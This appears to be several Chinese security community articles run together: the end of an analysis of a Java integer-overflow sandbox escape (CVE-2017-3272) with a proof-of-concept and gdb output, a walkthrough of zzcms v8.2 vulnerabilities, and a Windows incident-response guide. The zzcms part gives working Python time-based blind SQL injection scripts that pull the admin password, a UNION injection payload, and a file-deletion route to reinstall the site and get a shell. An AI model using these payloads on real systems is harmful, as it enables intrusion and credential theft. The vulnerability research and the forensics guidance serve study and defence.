204: length -= size;
205: srcAddr += size;
206: dstPos += size;
207: }
208: }
可以看到，这里并没有对数组索引进行相应的检查。也就是说，即使索引小于零，或大于或等于数组大小，代码也照常运行。
在代码中，首先将long类型转换为32位整型指针（第184行）。然后，代码进入循环，直到length/size元素被复制时为止（第186和204行）。对GETCRITICAL()和RELEASECRITICAL()（第193和202行）的调用，目的是对dst数组的访问进行同步，因此，它们与数组索引的检查无关。
为了执行这些本机代码，必须满足Java方法get()中的三个条件：
* 条件 1:
356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
* 条件 2:
357: checkBounds(offset, length, src.length);
* 条件 3:
362: if (length > rem)
注意，这里没有提及第360行中的断言，因为，它只检查是否在VM中设置了“-ea”（启用断言）选项。实际上，该选项在生产环境中几乎从未使用过，因为它会拖速度的后腿。
在第一个条件中，JNI_COPY_FROM_ARRAY_THRESHOLD表示一个阈值，即使用本机代码复制元素时，最低的元素数量。Oracle根据经验确定，这个阀值取6比较合适。为了满足这个条件，要复制的元素数必须大于1（6
>> 2）。
第二个条件出现在checkBounds()方法中：
564: static void checkBounds(int off, int len, int size) {
566: if ((off | len | (off + len) | (size - (off + len))) < 0)
567: throw new IndexOutOfBoundsException();
568: }
第二个条件可以表示为：
1: offset > 0 AND length > 0 AND (offset + length) > 0
2: AND (dst.length - (offset + length)) > 0.
第三个条件会检查剩余的元素数量是否小于或等于要复制的元素数：
length < lim - pos
为简化起见，我们假设该数组索引的当前值为0。这样的话，这个条件变为：
length < lim
这等价于：
length < dst.length
满足这些条件的解为：
dst.length = 1209098507
offset = 1073741764
length = 2
使用这个解的话，所有条件都能得到满足，并且由于存在整数溢出漏洞，我们可以从负索引-240（1073741764 << 2）处读取8个字节（2 *
4）。这样，我们就获得了一个读取原语，可以用于读取dst数组之前的字节内容。对于get()方法来说，我们可以如法炮制，从而得到一个能够在dst数组之前写入字节的原语。
我们可以编写一个用来检验上述分析是否正确的PoC，并在易受攻击的JVM版本（例如Java 1.8 update 60）上运行它。
1: public class Test {
2:
3: public static void main(String[] args) {
4: int[] dst = new int[1209098507];
5:
6: for (int i = 0; i < dst.length; i++) {
7: dst[i] = 0xAAAAAAAA;
8: }
9:
10: int bytes = 400;
11: ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
12: IntBuffer ib = bb.asIntBuffer();
13:
14: for (int i = 0; i < ib.limit(); i++) {
15: ib.put(i, 0xBBBBBBBB);
16: }
17:
18: int offset = 1073741764; // offset << 2 = -240
19: int length = 2;
20:
21: ib.get(dst, offset, length); // breakpoint here
22: }
23:
24: }
上面的代码会创建一个大小为1209098507（第4行）的数组，并将其全部元素初始化为0xAAAAAAAA（第6-8行）。然后，会创建一个IntBuffer类型的实例ib，并将其内部数组的全部元素（整型）都初始化为0xBBBBBBBB（第10-16行）。最后，调用get()方法，从ib的内部数组向dst复制2个元素，并且偏移量为-240（第18-21行）。实际上，执行上述代码并不会导致VM崩溃。而且，我们注意到，在调用get方法
之后，并没有改变dst数组的元素。这意味着来自ib内部数组的2个元素已被复制到dst数组之外。我们可以在第21行设置断点，然后在运行JVM的进程上启动gdb来验证这一点。在Java代码中，我们可以使用sun.misc.Unsafe来计算出dst数组的地址，即0x20000000。
$ gdb -p 1234
[...]
(gdb) x/10x 0x200000000
0x200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b
0x200000010: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
0x200000020: 0xaaaaaaaa 0xaaaaaaaa
(gdb) x/10x 0x200000000-240
0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff20: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff30: 0x00000000 0x00000000
借助于gdb，我们可以看到dst数组的元素已按预期初始化为0xAAAAAAAA。需要注意的是，这个数组的元素不是直接从0xAAAAAAAA处开始的，相反，这里是一个16字节的头部，其中存放数组的大小（0x4811610b
=
1209098507）。现在，在数组之前的240个字节没有存放任何内容，即全部是null字节。接下来，让我们运行Java的get方法，并再次使用gdb来检查内存状态：
(gdb) c
Continuing.
^C
Thread 1 "java" received signal SIGINT, Interrupt.
0x00007fb208ac86cd in pthread_join (threadid=140402604672768,
thread_return=0x7ffec40d4860) at pthread_join.c:90
90 in pthread_join.c
(gdb) x/10x 0x200000000-240
0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff20: 0xbbbbbbbb 0xbbbbbbbb 0x00000000 0x00000000
0x1ffffff30: 0x00000000 0x00000000
从ib的内部数组复制到dst数组的两个元素的副本的确“起作用了”：它们被复制到了dst数组的第一个元素之前的240个字节的内存中。由于某种原因，程序并没有崩溃。通过检查进程的内存布局，发现在0x20000000地址之前有一个内存区域，其权限为rwx：
$ pmap 1234
[...]
00000001fc2c0000 62720K rwx-- [ anon ]
0000000200000000 5062656K rwx-- [ anon ]
0000000335000000 11714560K rwx-- [ anon ]
[...]
如下所述，对于Java来说，类型混淆漏洞就是完全绕过沙箱的同义词。漏洞CVE-2017-3272的思路就是使用读写原语来进行类型混淆漏洞攻击。我们的目标是在内存中建立以下布局：
B[] |0|1|............|k|......|l|
A[] |0|1|2|....|i|................|m|
int[] |0|..................|j|....|n|
其中，元素类型为_B_的数组恰好位于元素类型为_A_的数组之前，而元素类型为_A_的数组恰好位于_IntBuffer_对象的内部数组之前。所以，我们的第一步就是使用读取原语，将索引i处类型为_A_的元素的地址复制内部整型数组中索引为j的元素中。第二步是将内部数组中索引j处的引用复制到索引k处_B_类型的元素。完成这两个步骤后，JVM会认为索引k处的元素是_B_类型，但它实际上是一个_A_类型的元素。
处理堆的代码非常复杂，并且对于不同的VM或版本，可能要进行相应的修改（Hotspot，JRockit等）。我们已经找到了一个稳定的组合，对于50个不同版本的JVM来说，所有三个数组都是彼此相邻的，这些数组的大小为：
l = 429496729
m = l
n = 858993458
**\------[ 3.2.3 - 讨论**
* * *
我们已经在Java
1.6、1.7和1.8的所有公开可用版本上对这个漏洞进行了测试。结果表明，共有51个版本容易受到这个漏洞的影响，其中包括1.6的18个版本(从1.6_23到1.6_45)，1.7的28个版本(从1.7到1.7_0到1.7_80)，1.8的5个版本(从1.8到1.8_05到1.8_60)。
关于这个漏洞的修复方法，我们已经介绍过了：在执行移位操作之前，首先对32位整数进行类型转换，这样的话，就能够有效地防止整数溢出漏洞了。
**小结**
* * *
在本文中，我们将继续介绍整型溢出漏洞方面的知识。在接下来的文章中，我们将继续为读者奉献更多精彩的内容，敬请期待！ | 社区文章 |
# zzcms v8.2 中的众多cve分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 看了一下最近的cve列表，发现有大佬怒刷了好多个cve，这个zzcms都快被审穿了，所以跟进学习一下
## CMS背景
本文跟踪的这个cms，属于一个开源招商网站管理系统，属于比较小的cms，所以很多地方写的不是很完善，导致了漏洞的产生，项目官网为<http://www.zzcms.net/>，本次我跟进的版本为8.2。
## CVE-2018-8966
首先，这是一个在安装的时候的代码注入，如果不配合其他漏洞删除安装后产生的锁文件`install.lock`，这个漏洞在实际环境中将毫无作用。
下面我们来具体分析一下漏洞产生的原因：
系统在安装的过程中，对输入的变量并没有任何过滤就写入了文件，所以我们只要闭合有关代码，然后注入命令就可以拿到shell。
下面开始复现：
复现成功，同理，这里既然能插入php代码，那也可以插入一端javascript代码，造成存储型xss，具体流程不在分析。
## CVE-2018-8967
这是一个前台的sql注入，可以获取管理员密码的账号密码，问题出在了`/user/adv2.php`下面我们分析一下代码：
>
> 这里整个cms还是对传入的cms进行了过滤的，过滤代码在/inc/stopsqlin.php,但是在这个地方，是没有对sql变量用引号包裹，所以不用单引号也可以直接进行sql注入。
但是这个地方想要注入，前面需要满足一定的条件，见下图
至少要让这两个数据出来的值有一个是1，否则将不会进入注入的代码。
这里的坑点比较多，简单讲下吧，有一个知识点：
select * from zzcms_ad where id =1 or sleep(4);
按照常理这个会延时，但是如果表中是空的，那这个将不会有任何延时
所以我们在注入的时候，要保证表中有数据，才能正常延时盲注的
所以这里要利用这个盲注，需要满足的条件有：
1. 注册为企业用户，并且通过审核
2. 发布广告，报账zzcms_main中，有一条记录
3. 整个网站的广告表zzcms_add中需要至少有一条数据
当上面的条件都满足的时候，就可以进行注入了，下面贴一下paylaod：
import requests
import string
s = requests.session()
url = "http://127.0.0.1:8000/user/adv2.php?action=modify"
cookies = {
'UserName':'test1',#换成你注册的企业用户的用户名
}
flag = ''
for i in range(1,40):
for j in range(33,125):
data = {
'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}
try:
r = s.post(url,data=data,cookies=cookies,timeout=1)
except:
flag += chr(j)
print flag
break
print flag
实际测试截图：
## CVE-2018-8965
这是一个任意文件删除漏洞，危害还是很大的，配合上面的安装过程中的getshell，还是可以有很大的攻击面
出问题的代码在:`/user/ppsave.php`
可以发现并没有什么验证，只是判断了一下是不是和之前的或者默认的一样，然后只要文件存在，就使用了`unlink`删除了文件.
所以这个漏洞分析和利用都很简单
我们删除了安装的锁文件`/install/install.lock`
然后就可以重新安装zzcms，从而配合上文分析的漏洞获取shell。
####
## CVE-2018-9309
又是一枚sql注入漏洞，不过这个也是一个需要登陆，需要设置相关信息才能利用的漏洞。属于设计不当。
首先我们看一下出问题的核心代码：
if (!empty($_POST["sql"])){//从模板中获取SQL内容,为发送对像
$_SESSION['sql']=stripfxg($_POST["sql"]);
}
$sql=$_SESSION['sql'];
$sql2=$sql." order by id asc limit $n,$size";
$rs=query($sql2);
$row=num_rows($rs);
可以发现这里将post参数中的sql进行了解码放进了session中，而`stripfxg`函数代码如下：
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠
$string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下，在stopsqlin中都加上了，这里要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//转html实体符号
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}
可以发现并不是什么过滤，所以这里直接拼接进入sql中是及其危险的，后面还有一些没有申请cve的漏洞也是因为调用了这个函数，导致了过滤失效。
代码利用也是比较简单的：
127.0.0.1/dl/dl_sendmail.php
post数据为：
sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#
下面是执行结果：
## CVE-2018-9331
有一枚任意文件删除漏洞，不得不说这个系统在这个的判断上真的是很有问题
这次产生问题的文件在`/user/adv.php`
也是一个`oldimg`和`img`对比产生的问题
和上面分析类似，都是只判断了是否和原来的相同，然后拼接了`../`就直接调用`unlink`，所以利用也很简单
只需要将html中表单属性的hidden删掉，然后直接输入想要删除的文件名就可以啦
## 没有申请cve的漏洞
有几个sql注入比较严重，下面逐个分析一下
### No.1 getip()未过滤
出问题的代码在`/user/check.php`中
在检查用户登录的位置，发现会调用`getip()`这个函数，我们跟进看一下：
发现并没有过滤，可以直接注入xff头，来进行注入，注入脚本如下：
import requests
import string
s = requests.session()
url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以
cookies = {
'UserName':'test1',
'PassWord':'21232f297a57a5a743894a0e4a801fc3'
}
flag = ''
for i in range(1,40):
print i
for j in range(33,125):
head = {
'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}
try:
r = s.post(url,headers=head,cookies=cookies,timeout=9)
except:
flag += chr(j)
print flag
break
print flag
测试截图为：
### No.2 del.php未过滤
第二个注入产生的根源还是过滤的不够严格，全局的注入过滤，在没有引号的地方可以随意注入，出问题的代码在`/user/del.php`
不过这个注入有一个前提，我们需要先发布一个咨询信息，然后管理员审核过以后，就可以利用来注入了，这个在实际场景中，还是可以实现的。
可以看到，直接将tablename拼接进入了sql语句中，所以利用起来难度也不是很大，但是这里并没有回显，所以需要使用时间盲注，或者dns
log外带的方法来获取数据。
### No.3 stripfxg过滤不完整
在整个系统中，还有个函数是非常危险的，他可以将全局过滤还原成正常的数据，如果这个数据带入了sql查询中，是可以直接造成注入的。
代码逻辑：
所以这里的利用也是比较简单的：
POST /user/msg.php?action=savedata&saveas=add
参数为：
info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
> 这里有一个注入的小技巧，就是在做insert注入和update注入的时候，除了能够多伪造一组数据以外，还可以使用这种异或符号加上sleep函数来延时注入
> `insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#`
验证截图：
## 总结
系统存在的问题：
1. 系统在实现逻辑的过程中，存在了太多了没有过滤直接带入逻辑的情况，这在很多大的框架中是不存在的，建议可以自己封装一层，在封装层中间实现好过滤，用起来也很方便
2. 系统对用户文件的存储删除有很大问题，很多在删除用户文件的时候，并没有检查是不是合法，就直接unlink了，这可以导致很大的问题。
3. 系统在很多地方很轻易的就将自己的过滤去掉了，核心就是那个stripfxg函数，建议减少这个函数的使用，保证所有变量都经过了过滤。 | 社区文章 |
# 1\. Windows 的应急事件分类
Windows 系统的应急事件，按照处理的方式，可分为下面几种类别：
* 病毒、木马、蠕虫事件
* Web 服务器入侵事件或第三方服务入侵事件
* 系统入侵事件，如利用 Windows 的漏洞攻击入侵系统、利用弱口令入侵、利用其他服务的漏洞入侵，跟 Web 入侵有所区别，Web 入侵需要对 Web 日志进行分析，系统入侵只能查看 Windows 的事件日志。
* 网络攻击事件（DDoS、ARP、DNS 劫持等）
# 2\. 通用排查思路
>
> 入侵肯定会留下痕迹，另外重点强调的是不要一上来就各种查查查，问清楚谁在什么时间发现的主机异常情况，异常的现象是什么，受害用户做了什么样的紧急处理。问清楚主机异常情况后，需要动脑考虑为什么会产生某种异常，从现象反推可能的入侵思路，再考虑会在
> Windows 主机上可能留下的痕迹，最后才是排除各种可能，确定入侵的过程。
获取 Windows 的基本信息，如机器名称、操作系统版本、OS
安装时间、启动时间、域名、补丁安装情况，使用`systeminfo`命令获取。运行`msinfo32`也可以查看计算机的详细信息。
## 2.1 直接检查相关日志
> 任何操作（人、程序、进程）都会导致产生相关日志
### 2.1.1 Windows 日志简介
日志记录了系统中硬件、软件和系统问题的信息，同时还监视着系统中发生的事件。当服务器被入侵或者系统（应用）出现问题时，管理员可以根据日志迅速定位问题的关键，再快速处理问题，从而极大地提高工作效率和服务器的安全性。
Widdows 通过自带事件查看器管理日志，使用命令`eventvwr.msc`打开，或者 Windows 10
搜索框直接搜索`事件查看器`，或者使用`开始菜单`-`Windows 管理工具`-`事件查看器打开`。
Windows 日志位置
**Windows 2000/Server2003/Windows XP**
\%SystemRoot%\System32\Config\*.evt
**Windows Vista/7/10/Server2008:**
\%SystemRoot%\System32\winevt\Logs\*.evtx
日志审核策略，使用命令`auditpol /get /category:*`
其他一些可能会用到的事件日志的位置：
* C:\Windows\System32\WDI\LogFiles
* BootCKCL.etl
* ShutdownCKCL.etl
* SecondaryLogOnCKCL.etl
* WdiContext.etl.<###>
* C:\Windows\System32\WDI\<guid>\<guid>
* snapshot.etl
</guid></guid>
* C:\Windows\System32\LogFiles\WMI
* Wifi.etl
* LwNetLog.etl
* C:\Windows\System32\SleepStudy
* UserNotPresentSession.etl
* abnormal-shutdown-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh>
</mm></yyyy>
* user-not-present-trace-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh>
</mm></yyyy>
* ScreenOnPowerStudyTraceSession-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh>
</mm></yyyy>
**Windows 日志**
* 系统日志
系统日志包含Windows系统组件记录的事件。例如，系统日志中会记录在启动过程中加载驱动程序或其他系统组件失败。系统组件所记录的事件类型由Windows预先确定。
* 应用程序日志
应用程序日志包含由应用程序或程序记录的事件。例如，数据库程序可在应用程序日志中记录文件错误。程序开发人员决定记录哪些事件。
* 安全日志
安全日志包含诸如有效和无效的登录尝试等事件，以及与资源使用相关的事件，如创建、打开或删除文件或其他对象。管理员可以指定在安全日志中记录什么事件。例如，如果已启用登录审核，则安全日志将记录对系统的登录尝试。
关于安全日志登录部分的事件 ID 和登录类型代码的含义见下面 2 个表。
常用事件 ID 含义
Event ID(2000/XP/2003) | Event ID(Vista/7/8/2008/2012) | 描述 | 日志名称
---|---|---|---
528 | 4624 | 成功登录 | Security
529 | 4625 | 失败登录 | Security
680 | 4776 | 成功/失败的账户认证 | Security
624 | 4720 | 创建用户 | Security
636 | 4732 | 添加用户到启用安全性的本地组中 | Security
632 | 4728 | 添加用户到启用安全性的全局组中 | Security
2934 | 7030 | 服务创建错误 | System
2944 | 7040 | IPSEC服务服务的启动类型已从禁用更改为自动启动 | System
2949 | 7045 | 服务创建 | System
登录类型 ID
成功/失败登录事件提供的有用信息之一是用户/进程尝试登录（登录类型），但 Windows 将此信息显示为数字，下面是数字和对应的说明：
**登录类型** | **登录类型** | **描述**
---|---|---
2 | Interactive | 用户登录到本机
3 | Network | 用户或计算手机从网络登录到本机，如果网络共享，或使用 net use 访问网络共享，net view 查看网络共享
4 | Batch | 批处理登录类型，无需用户干预
5 | Service | 服务控制管理器登录
7 | Unlock | 用户解锁主机
8 | NetworkCleartext | 用户从网络登录到此计算机，用户密码用非哈希的形式传递
9 | NewCredentials | 进程或线程克隆了其当前令牌，但为出站连接指定了新凭据
10 | Remotelnteractive | 使用终端服务或远程桌面连接登录
11 | Cachedlnteractive |
用户使用本地存储在计算机上的凭据登录到计算机（域控制器可能无法验证凭据），如主机不能连接域控，以前使用域账户登录过这台主机，再登录就会产生这样日志
12 | CachedRemotelnteractive | 与 Remotelnteractive 相同，内部用于审计目的
13 | CachedUnlock | 登录尝试解锁
账户类型
* 用户账户
* 计算机账户：此帐户类型表示每个主机。 此帐户类型的名称以字符“$”结尾。 例如，“DESKTOP-SHCTJ7L $”是计算机帐户的名称。
* 服务账户：每个服务帐户都创建为特定服务的所有者。 例如，IUSR是IIS的所有者，而krbtgt是作为密钥分发中心一部分的服务的所有者。
**应用程序和服务日志**
应用程序和服务日志是一种新类别的事件日志。这些日志存储来自单个应用程序或组件的事件，而非可能影响整个系统的事件。
查看 PowerShell 的日志
`Microsoft`->`Windows`->`PowerShell`->`OPtions`
### 2.1.2 远程登录事件
攻击者可能造成的远程登录事件
**RDP**
攻击者使用 RDP 远程登录受害者计算机，源主机和目的主机都会生成相应事件。
重要的事件 ID（安全日志，Security.evtx）
* 4624：账户成功登录
* 4648：使用明文凭证尝试登录
* 4778：重新连接到一台 Windows 主机的会话
* 4779：断开到一台 Windows 主机的会话
远程连接日志（`应用程序和服务日志`->`Microsoft`->`Windows`->-`TerminalServices`->`RemoteConnectionManager`->`Operational`），重要事件
ID 和含义：
* 1149：用户认证成功
* 21：远程桌面服务：会话登录成功
* 24：远程桌面服务：会话已断开连接
* 25：远程桌面服务：会话重新连接成功
远程连接日志关注 RemoteInteractive（10） 和CachedRemoteInteractive（12）表明使用了 RDP
，因为这些登录类型专用于RDP使用。
**计划任务和 AT**
关注的事件 ID
* 4624：账户成功登录
计划任务事件 Microsoft-Windows-TaskScheduler/Operational.evtx，计划任务 ID 含义：
* 100：任务已开始
* 102：任务完成
* 106：已注册任务（关注点）
* 107：在调度程序上触发任务
* 110：用户触发的任务
* 129：创建任务流程（推出）
* 140：任务已更新
* 141：任务已删除
* 200：运行计划任务
* 325：启动请求排队
统一后台进程管理器（UBPM）
* 服务控制管理器 - 管理 Windows 服务
* 任务计划程序 - 管理 Windows 任务
* Windows Management Instrumentation - 管理 WMI 供应商
* DCOM Server Process Launcher - 管理进程外 COM 应用程序
**PSExec**
PSExec是系统管理员的远程命令执行工具，包含在“Sysinternals Suite”工具中，但它通常也用于针对性攻击的横向移动。
PsExec的典型行为
* 在具有网络登录（类型3）的远程计算机上将 PsExec 服务执行文件（默认值：PSEXESVC.exe）复制到`％SystemRoot％`。
* 如果使用`-c`选项，则通过 $Admin 共享将文件复制到 ％SystemRoot％ 执行命令。
* 注册服务（默认值：PSEXESVC），并启动服务以在远程计算机上执行该命令。
* 停止服务（默认值：PSEXESVC），并在执行后删除远程计算机上的服务。
PSExec选项的重要选项：
* -r
* 更改复制的文件名和远程计算机的服务名称
（默认值：％SystemRoot％\ PSEXESVC.exe和PSEXESVC）
* -s
* 由SYSTEM帐户执行。
* -C
* 将程序复制到远程计算机
* 被复制到Admin$（％SystemRoot％）
* -u
* 使用特定凭据登录到远程计算机
* 生成登录类型2和登录类型3 的事件
可以从`System.evtx`中查找事件 ID 7045 发现 PSExec，相关的事件 ID
* Security.evtx
* 4624：帐户已成功登录
* Ssystem.evtx
* 7045：系统中安装了服务
PsExec在执行命令时在远程主机上创建服务，默认服务名称为`PSEXESVC`，配合检测系统 7045 事件可以确定。
如果使用`-r`参数更改了默认的服务名称，通过以下特征可以检测 PSExec 的执行：
* PSExec服务执行文件（默认值：PSEXESVC.exe）被复制到远程计算机上的“％SystemRoot％”目录中
* 服务名称与没有“.exe”扩展名的执行名称相同
* 服务以“用户模式”执行，而不是“内核模式”
* “LocalSystem”帐户用于服务帐户
* 实际帐户用于执行服务执行文件，而不是“SYSTEM”
### 2.1.3 GUI 的日志工具介绍
Widnows 自带事件管理器就是很不错的日志工具，其他可以了解下[Event Log Explorer](https://eventlogxp.com/)
可以将目标 IP 的所有日志文件复制出来，然后在其他电脑上使用 Event Log Explorer 进行分析。
其他一些工具：
* Microsoft Message Analyzer
* ETL Viewer
* Log Parser
* 使用示例：<https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/>
### 2.2.4 PowerShell 日志操作
使用`Get-WinEvent`
Get-WinEvent @{logname='application','system'} -MaxEvents 1
一些常见日志操作
# Get-WinEvent帮助命令
get-help Get-WinEvent
# 列出所有事件日志
Get-WinEvent -ListLog *
# powershell管理员权限下获取安全事件日志
Get-WinEvent -FilterHashtable @{LogName='Security'}
# 过滤安全事件ID 4624
Get-WinEvent -FilterHashtable @{LogName='Security';ID='4624'}
# 查询今天的应用和系统日志，显示前2条
Get-WinEvent @{logname='application','system';starttime=[datetime]::today } -MaxEvents 2
# 根据ID查询事件
Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.ID -eq "4100" -or $_.ID -eq "4104"}
# 查询指定时间内的事件
$StartTime=Get-Date -Year 2017 -Month 1 -Day 1 -Hour 15 -Minute 30
$EndTime=Get-Date -Year 2017 -Month 2 -Day 15 -Hour 20 -Minute 00
Get-WinEvent -FilterHashtable @{LogName='System';StartTime=$StartTime;EndTime=$EndTime}
Get-EventLog 的使用可以参考：<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1>
### 2.2.5 Windows 日志删除和日志集中化
攻击者入侵系统后，很可能会删除日志，比较粗暴的手法是直接删除所有日志和停止日志服务，对于应急来说删除掉的日志本身就是就是入侵的明显特征，根据文件创建时间也能大概判断入侵时间。另外有工具可以删除单条日志，这样只是分析
Windows 日志时对分析人员来说很难找到攻击痕迹，单条日志删除工具
<https://github.com/360-A-Team/EventCleaner，另外可以参考>
<https://github.com/3gstudent/Eventlogedit-evtx--Evolution。>
对抗删除的的措施是实施日志集中化，从 Windows 7 开始，Windows 记录日志为 XML 格式，可以使用
## 2.2 检查账户
检查账户的几种方式：
1. 在本地用户和组里查看，运行`lusrmgr.msc`
2. 使用`net user`列出当前登录账号，使用`wmic UserAccount get`列出当前系统所有账户
3. 检查注册表 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList`，`HKLM\SAM\Domains\Account\`（默认是 SYSTEM）权限，需要配置成管理员权限查看。
SID 位于`HKU\`和 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList`两个密钥中。
用户SID可以在值“Profilelist”下找到Subkeys（在用户登录系统时创建）。
值“ProfileImagePath”将列出该特定用户的配置文件的路径。 在操作系统级别，SID可识别无疑问题的帐户。 多用户系统看起来像这样
HKU\.DEFAULT
HKU\S-1-5-18
HKU\S-1-5-19
HKU\S-1-5-20
HKU\S-1-5-21-1116317227-3122546273-4014252621-1000
HKU\S-1-5-21-1116317227-3122546273-4014252621-1000_Classes
HKU\S-1-5-21-1116317227-3122546273-4014252621-1003
HKU\S-1-5-21-1116317227-3122546273-4014252621-1003_Classes
前四个密钥是系统帐户，从计算机到计算机通常是相同的。 `HKU\.DEFAULT`包含全局用户信息。
`HKU\S-1-5-18`属于“LocalSystem帐户”。`HKU\S-1-5-19`用于运行本地服务，是“本地服务帐户”。`HKU\S-1-5-20`
是用于运行网络服务的“NetworkService帐户”。 其他子键是唯一的SID，它们与已登录系统的各个用户相关联。 他们的解释如下：
* “S”将字符串标识为SID。
* “1”是SID规范的版本。
* “5”是标识符权限值。
* “21-1116317227-3122546273-4014252621”是域或本地计算机标识符，因计算机与计算机不同，因为它对应于唯一的个人用户帐户。
* “1000”是相对ID（RID）。 默认情况下未创建的任何组或用户的RID均为1000或更高。
* “1000_Classes”包含每用户文件关联和类注册。
* “1003”是同一系统上另一个用户的相对ID（RID）。
* “1003_Classes”包含第二个用户的文件关联和类注册。
## 2.3 检查网络连接
检查网络监听和连接的端口和应用程序
netstat -anob
输出主机上的所有侦听和活动连接，包括 PID 和连接到每个连接的程序的名称。 这也告诉 Netstat返回连接的 IP 地址，而不是试图确定它们的主机名。
* -a ：显示所有连接和侦听端口。
* -b ：显示在创建每个连接或侦听端口时涉及的可执行程序。在某些情况下，已知可执行程序承载多个独立的组件，这些情况下，显示创建连接或侦听端口时涉及的组件序列。在此情况下，可执行程序的名称位于底部 [] 中，它调用的组件位于顶部，直至达到 TCP/IP。注意，此选项可能很耗时，并且在你没有足够权限时可能失败。
* -n ：以数字形式显示地址和端口号。
* -o ：显示拥有的与每个连接关联的进程 ID。
* -r ：显示路由表。
路由
netstat -rn
结合`findstr`命令查找特定的端口或程序。
发现的感觉异常的 IP 地址可以在威胁情报平台上查询，如果是已知的恶意 IP，可以比较快速的确认攻击方式。
防火墙配置
netsh firewall show all
Windows 10 自带的网络连接可以参考：
<https://betanews.com/2018/07/31/all-the-websites-windows-10-connects-to-clean-install/>
## 2.4 检查进程
进程通常结合网络查看异常，先检查异常的网络连接，再获取由哪个进程生成的网络连接
netstat -abno | find "port number"
tasklist | findstr PID
使用 wmic 命令获取进程信息
wmic process | find "Proccess Id" > proc.csv
Get-WmiObject -Class Win32_Process
Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status
PowerShell 的其他关于进程和网络的命令
Get-Process
Get-NetTCPConnection
Get-NetTCPConnection -State Established
# 进程跟服务的对应关系
tasklist /svc
使用 SysinternalsSuite 的 procexp 可以获取进程比较详细的信息，比如真实路径、加载的 DLL 文件等、CPU 和内存使用情况等。
当然也可以使用内存管理器。
查看可疑的进程及其子进程。可以通过观察以下内容：
* 没有签名验证信息的进程
* 没有描述信息的进程
* 进程的属主
* 进程的路径是否合法
* CPU或内存资源占用长时间过高的进程
可以获取进程关联的文件 MD5 值，然后发送到威胁情报平台上辅助检查。进程关联的文件也可以使用在线病毒检测平台上直接检测。
### 2.4.1 内存 dump
有 2 种比较方便的方法：
第一种是使用系统自带功能，在计算机属性，系统属性，高级选项卡中选择“启动和故障恢复设置”，选择完全转储内存，然后点击确定，系统会提示重启。
重启后在配置的文件位置可以找到上次转储的内存文件。
另外一种方法，使用 SysinternalsSuite 工具集的 notmyfault64
工具，在使用管理员权限的命令行模式下（cmd、PowerShell），运行
NotMyFault64.exe /crash
### 2.4.2 内存分析
利用 Volatility
进行内存取证，分析入侵攻击痕迹，包括网络连接、进程、服务、驱动模块、DLL、handles、检测进程注入、检测Meterpreter、cmd历史命令、IE浏览器历史记录、启动项、用户、shimcache、userassist、部分rootkit隐藏文件、cmdliner等。
参考：<https://xz.aliyun.com/t/2497>
## 2.5 检查开机启动和运行服务
### 2.5.1 开机启动
关于开机启动需要分析的位置：
* 注册表中的关于开机启动的位置
* HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce
* HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
* HKLM\Software\Microsoft\Windows\CurrentVersion\Run
* HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
* HKCU\Software\Microsoft\Windows\CurrentVersion\Run
* HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
* (ProfilePath)\Start Menu\Programs\Startup
* 开始菜单，启动项里（C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup）
* 任务管理器，启动选项卡，或者运行 msconfig，查看启动选项卡
* 运行`gpedit.msc`在本地组策略编辑器里查看开机运行脚本，包括计算机配置和用户配置的。
* 使用 SysinternalsSuite 工具集的 Autoruns 工具查看开机启动项目
### 2.5.2 查看服务状态
服务状态，自动启动配置，在 PowerShell 下可以运行：
Get-Service
# 运行service命令
service
运行`services.msc`可以打开 Windows 服务工具，常见的 GUI 界面。
## 2.6 检查计划任务
存放计划任务的文件
* C:\Windows\System32\Tasks\
* C:\Windows\SysWOW64\Tasks\
* C:\Windows\tasks\
* *.job（指文件）
使用命令查看计划任务
schtasks
运行`taskschd.msc`打开计划任务面板，或者从计算机管理进入，直接查看计划任务。
也可以使用 SysinternalsSuite 工具集的 Autoruns 工具查看计划任务。
## 2.7 检查文件
检查可疑文件的思路，一种是通过可疑进程（CPU 利用率、进程名）关联的文件，一种是按照时间现象关联的文件，文件大小也可以
作为辅助的判断方法，文件的操作可以使用`Get-ChildItem`命令查看。需要关注的文件位置：
* 下载目录
* 回收站文件
* 程序临时文件
* 历史文件记录
* 应用程序打开历史
